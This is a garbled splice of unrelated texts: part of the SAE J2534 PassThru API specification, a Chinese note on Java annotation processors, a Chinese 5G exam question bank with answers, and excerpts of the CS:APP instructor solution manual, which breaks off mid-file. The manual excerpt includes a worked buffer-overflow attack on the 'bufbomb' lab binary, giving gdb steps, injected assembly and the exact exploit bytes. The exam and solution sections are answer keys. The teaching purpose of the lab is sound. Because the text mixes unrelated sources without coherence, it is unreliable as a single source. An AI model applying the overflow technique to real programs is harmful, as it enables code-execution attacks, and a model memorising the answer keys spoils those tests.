pNumMsgs. After returning from the function, the device does not stop the retries. The only functions that will stop the retries are PassThruDisconnect (on that protocol), PassThruC lose, or PassThruIoctl (with an IoctllD of CLEAR_TX_BUFFER).Devices shall use the Retry strategy in the following scenarios:•All CAN errors, such as bus off, lack of acknowledgement, loss of arbitration, and no connection (lack of terminating resistor)•SAE J1850PWM or SAE J1850VPW bus fault (bus stuck passive) or loss of arbitration (bus stuck active)The Drop strategy will delete a message from the queue. The message can be dropped immediately on noticing an error or at the end of the transmission. PassThruWriteMsg shall treat dropped messages the same as successfully transmitted messages. However, if loopback is on, the message shall not be placed in the receive queue.Devices shall use the Drop strategy in the following scenarios:•If characters are echoed improperly in SCI•Corrupted ISO 9141 or ISO 14230 transmission•SAE J1850PWM lack of acknowledgement (Exception: The device must try sending the message 3 times before dropping)7.2.5.1 C / C++ Prototypeextern “C” long WINAPI PassThruReadMsgs(unsigned long ChannelID,*pMsg,PASSTHRU_MSGunsigned long *pNumMsgs,unsigned long Timeout)7.2.5.2ParametersChannelID The channel ID assigned by the PassThruConnect function.pMsg Pointer to message structure(s).pNumMsgs Pointer to location where number of messages to read is specified. On return from the function this location will contain the actual number of messages read.Timeout Read timeout (in milliseconds). If a value of 0 is specified the function retrieves up to pNumMsgs messages and returns immediately. Otherwise, the API will not return untilthe Timeout has expired, an error has occurred, or the desired number of messageshave been read. If the number of messages requested have been read, the functionshall not return ERR_TIMEOUT, even if the timeout value is zero.When using the ISO 15765-4 protocol, only SingleFrame messages can be transmitted without a matching flow control filter. Also, P I bytes are transparently added by the API. See PassThruStartMsgFilter and Appendix A for a discussion of flow control filters.7.2.6.1 C / C++ Prototypeextern “C” long WINAPI PassThruWriteMsgs(u nsigned long ChannelID,*pMsg,PASSTHRU_MSGunsigned long *pNumMsgs,unsigned long Timeout)7.2.6.2ParametersChannelID The channel ID assigned by the PassThruConnect function.pMsg Pointer to message structure(s).pNumMsgs Pointer to the location where number of messages to write is specified. On return will contain the actual number of messages that were transmitted (when Timeout is non-zero) or placed in the transmit queue (when Timeout is zero).Timeout Write timeout (in milliseconds). When a value of 0 is specified, the function queues as many of the specified messages as possible and returns immediately. When a valuegreater than 0 is specified, the function will block until the Timeout has expired, an errorhas occurred, or the desired number of messages have been transmitted on the vehiclenetwork. Even if the device can buffer only one packet at a time, this function shall beable to send an arbitrary number of packets if a Timeout value is supplied. Since thefunction returns early if all the messages have been sent, there is normally no penalty forhaving a large timeout (several seconds). If the number of messages requested havebeen written, the function shall not return ERR_TIMEOUT, even if the timeout value iszero.W hen an ERR_TIMEOUT is returned, only the number of messages that were sent onthe vehicle network is known. The number of messages queued is unknown. Applicationwriters should avoid this ambiguity by using a Timeout value large enough to work onslow devices and networks with arbitration delays.。
abstractprocessor使用场景
abstractprocessor使用场景abstractprocessor是一种在Java中使用的注解处理器。
它主要用于处理编译时的注解,能够在编译期间生成一些额外的代码,以便在运行时能够更高效地执行某些任务。
这个工具非常实用,可以在很多场景下发挥作用。
下面将详细介绍abstractprocessor的使用场景。
1.自动生成代码:abstractprocessor能够根据注解定义的规则,在编译期间自动生成一些代码。
这对于一些重复性的工作来说非常有用,比如生成getters和setters方法、实现Parcelable接口、生成构造函数等等。
使用abstractprocessor可以省去手动编写这些代码的功夫,提高开发效率。
2.实现安全检查:abstractprocessor可以对代码进行静态检查,确保代码在运行时不会出现一些常见的错误。
例如,可以使用abstractprocessor检查注解在运行时是否被错误地使用,比如对错误的方法或类进行了注解。
这能够帮助开发者在编译期间发现潜在的问题,避免在运行时出现错误。
3.自动生成配置文件:有时候我们需要在编译期间生成一些配置文件,以便在运行时使用。
使用abstractprocessor能够轻松地实现这一功能。
比如,在Android开发中,我们可以使用abstractprocessor生成一些资源文件、Manifest文件等。
这能够提高项目的可维护性,避免手动编辑这些文件可能出现的错误。
4.实现注解驱动框架:注解是一种非常强大的技术,能够在编译期间对代码进行丰富的扩展。
使用abstractprocessor能够方便地实现注解驱动的框架。
通过定义自己的注解,开发者可以使用abstractprocessor来处理这些注解,并生成相应的代码。
这能够大大简化框架的使用,提供更强大的功能。
5.自动生成文档:abstractprocessor可以根据代码中的注解来生成文档,这对于项目的文档自动化是非常有帮助的。
2024年电信5G基站建设理论考试题库(附答案)
2024年电信5G基站建设理论考试题库(附答案)一、单选题1.在赛事保障值守过程中,出现网络突发故障,需要启用红黄蓝应急预案进行应急保障,确保快速处理和恢复。
红黄蓝应急预案的应急逻辑顺序为()A、网络安全->用户感知->网络性能B、网络性能->用户感知->网络安全C、用户感知->网络安全->网络性能D、用户感知->网络性能->网络安全参考答案:D2.2.1G规划,通过制定三步走共享实施方案,降配置,省TCO不包含哪项工作?A、低业务小区并网B、低业务小区关小区C、低业务小区拆小区D、高业务小区覆盖增强参考答案:D3.Type2-PDCCHmonsearchspaceset是用于()。
A、A)OthersysteminformationB、B)PagingC、C)RARD、D)RMSI参考答案:B4.SRIOV与OVS谁的转发性能高A、OVSB、SRIOVC、一样D、分场景,不一定参考答案:B5.用NR覆盖高层楼宇时,NR广播波束场景化建议配置成以下哪项?A、SCENARTO_1B、SCENARIO_0C、SCENARIO_13D、SCENARIO_6参考答案:C6.NR的频域资源分配使用哪种方式?A、仅在低层配置(非RRC)B、使用k0、k1和k2参数以实现分配灵活性C、使用SLIV控制符号级别的分配D、使用与LTE非常相似的RIV或bitmap分配参考答案:D7.SDN控制器可以使用下列哪种协议来发现SDN交换机之间的链路?A、HTTPB、BGPC、OSPFD、LLDP参考答案:D8.NR协议规定,采用Min-slot调度时,支持符号长度不包括哪种A、2B、4C、7D、9参考答案:D9.5G控制信道采用预定义的权值会生成以下那种波束?A、动态波束B、静态波束C、半静态波束D、宽波束参考答案:B10.TS38.211ONNR是下面哪个协议()A、PhysicalchannelsandmodulationB、NRandNG-RANOverallDescriptionC、RadioResourceControl(RRC)ProtocolD、BaseStation(BS)radiotransmissionandreception参考答案:A11.在NFV架构中,哪个组件完成网络服务(NS)的生命周期管理?A、NFV-OB、VNF-MC、VIMD、PIM参考答案:A12.5G需要满足1000倍的传输容量,则需要在多个维度进行提升,不包括下面哪个()A、更高的频谱效率B、更多的站点C、更多的频谱资源D、更低的传输时延参考答案:D13.GW-C和GW-U之间采用Sx接口,采用下列哪种协议A、GTP-CB、HTTPC、DiameterD、PFCP参考答案:D14.NR的频域资源分配使用哪种方式?A、仅在低层配置(非RRC)B、使用k0、k1和k2参数以实现分配灵活性C、使用SLIV控制符号级别的分配D、使用与LTE非常相似的RIV或bitmap分配参考答案:D15.下列哪个开源项目旨在将电信中心机房改造为下一代数据中心?A、OPNFVB、ONFC、CORDD、OpenDaylight参考答案:C16.NR中LongTruncated/LongBSR的MACCE包含几个bit()A、4B、8C、2D、6参考答案:B17.对于SCS120kHz,一个子帧内包含几个SlotA、1B、2C、4D、8参考答案:D18.SA组网中,UE做小区搜索的第一步是以下哪项?A、获取小区其他信息B、获取小区信号质量C、帧同步,获取PCI组编号D、半帧同步,获取PCI组内ID参考答案:D19.SA组网时,5G终端接入时需要选择融合网关,融合网关在DNS域名的'app-protocol'name添加什么后缀?A、+nc-nrB、+nr-ncC、+nr-nrD、+nc-nc参考答案:A20.NSAOption3x组网时,语音业务适合承载以下哪个承载上A、MCGBearB、SCGBearC、MCGSplitBearD、SCGSplitBear参考答案:A21.5G需要满足1000倍的传输容量,则需要在多个维度进行提升,不包括下面哪个()A、更高的频谱效率B、更多的站点C、更多的频谱资源D、更低的传输时延参考答案:D22.以SCS30KHz,子帧配比7:3为例,1s内调度次数多少次,其中下行多少次。
DS2208数字扫描器产品参考指南说明书
-05 Rev. A
6/2018
Rev. B Software Updates Added: - New Feedback email address. - Grid Matrix parameters - Febraban parameter - USB HID POS (formerly known as Microsoft UWP USB) - Product ID (PID) Type - Product ID (PID) Value - ECLevel
-06 Rev. A
10/2018 - Added Grid Matrix sample bar code. - Moved 123Scan chapter.
-07 Rev. A
11/2019
Added: - SITA and ARINC parameters. - IBM-485 Specification Version.
No part of this publication may be reproduced or used in any form, or by any electrical or mechanical means, without permission in writing from Zebra. This includes electronic or mechanical means, such as photocopying, recording, or information storage and retrieval systems. The material in this manual is subject to change without notice.
structured tool chat代理实例
structured tool chat代理实例
Structured Tool Chat 代理是一种基于结构化对话技术的聊天机器人实例。
它旨在通过理解和生成结构化的对话来提供高效、准确和有用的回答。
以下是一个 Structured Tool Chat 代理的示例:
1. 对话引导:代理会以明确的方式引导用户进行对话,例如通过提出问题或提供选项来收集必要的信息。
2. 信息收集:代理会收集用户提供的具体信息,例如问题的详细描述、相关参数或上下文。
3. 理解和分析:代理使用自然语言处理技术理解用户的输入,并分析问题的结构和意图。
4. 答案生成:基于对问题的理解,代理会生成结构化的答案,以清晰和简洁的方式提供相关信息。
5. 对话管理:代理会管理对话流程,根据用户的需求和回答进行适当的引导和提示。
6. 知识库和规则:代理可以利用预先定义的知识库和规则来提供准确和一致的回答。
7. 反馈和确认:代理会向用户提供反馈,确认理解是否正确,并在需要时请求更多信息。
通过使用 Structured Tool Chat 代理,用户可以获得更高效、准确和有用的对话体验。
代理能够理解问题的结构和意图,并以结构化的方式提供答案,从而提高沟通的效率和满意度。
请注意,这只是一个简单的示例,实际的 Structured Tool Chat 代理可能会根据具体需求和应用场景进行更复杂和定制化的设计。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig 